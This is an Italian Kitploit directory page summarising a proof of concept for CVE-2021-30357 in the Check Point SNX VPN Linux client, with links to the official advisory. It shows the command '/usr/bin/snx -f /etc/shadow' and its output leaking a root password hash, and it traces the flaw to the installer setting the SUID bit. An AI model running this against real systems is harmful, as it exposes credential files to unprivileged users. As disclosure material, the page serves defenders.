Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-30357_CheckPoint_SNX_VPN_PoC — Prova di concetto per lettura di file privilegiati attraverso CheckPoint SNX VPN Linux Client | Kitploit
Strumenti/GitHubGitHub/joaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc
Escalation di PrivilegiScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitPenetration Testing
GitHubjoaovarelas/cve-2021-30357_checkpoint_snx_vpn_poc

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Prova di concetto per lettura di file privilegiati attraverso CheckPoint SNX VPN Linux Client

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
613 anni faNon ancora revisionato

CVE-2021-30357_CheckPoint_SNX_VPN_PoC

Prova di concetto per la lettura di file privilegiata tramite il client Linux CheckPoint SNX VPN.

Versione interessata

  • CheckPointVPN_SNX_Linux_800007075.sh
  • Checksum MD5: 4372e9936e2dfb1d1ebcef3ed4dd7787

Sfruttamento

Per sfruttare la vulnerabilità, basta caricare qualsiasi file come configurazione SNX usando il parametro -f. Se il file non è una configurazione SNX valida, verrà generato un errore e verrà visualizzato un errore di sintassi, divulgando il contenuto fino al terminatore di stringa (ad esempio etc/shadow):

root@kitploit:~
$ /usr/bin/snx -f /etc/shadow

parsing of the file: /etc/shadow  failed: Line 1: unknown attribute 'root:$6$Mi[REDACTED]VwUSrc2ioKt.2Mex.yF.:18624:0:99999:7:::'

Valid attributes are:

   - server          SNX server to connet to
   - sslport         The SNX SSL port (if not default)
   - username        the user name

(...)

Vulnerabilità

La causa è dovuta al fatto che l'eseguibile /usr/bin/snx ha il bit SETUID e viene eseguito come super-utente, impostato durante l'installazione.

In particolare, la variabile COMMAND_TO_RUN definita nel file di installazione .sh (CheckPointVPN_SNX_Linux_800007075.sh):

root@kitploit:~
[...]
COMMAND_TO_RUN="install --owner=root --group=root --mode=u=rxs,g=x,o=x snx /usr/bin/snx; install --owner=root --group=root --mode=u=rx,g=rx,o=rx snx_uninstall.sh /usr/bin/snx_uninstall; install --directory --owner=root --group=root --mode=u=rwx /etc/snx; install --directory --owner=root --group=root --mode=u=rwx /etc/snx/tmp"

Nel parametro --mode=u=rxs, l'ultima s imposta il bit SUID, portando così all'esecuzione del binario eseguibile come root.

Avviso Ufficiale

  • https://support.checkpoint.com/results/sk/sk173513
  • https://vrls.ws/posts/2021/06/cve-2021-30357-check-point-software-vpn-arbitrary-file-read/
Scarica lo strumento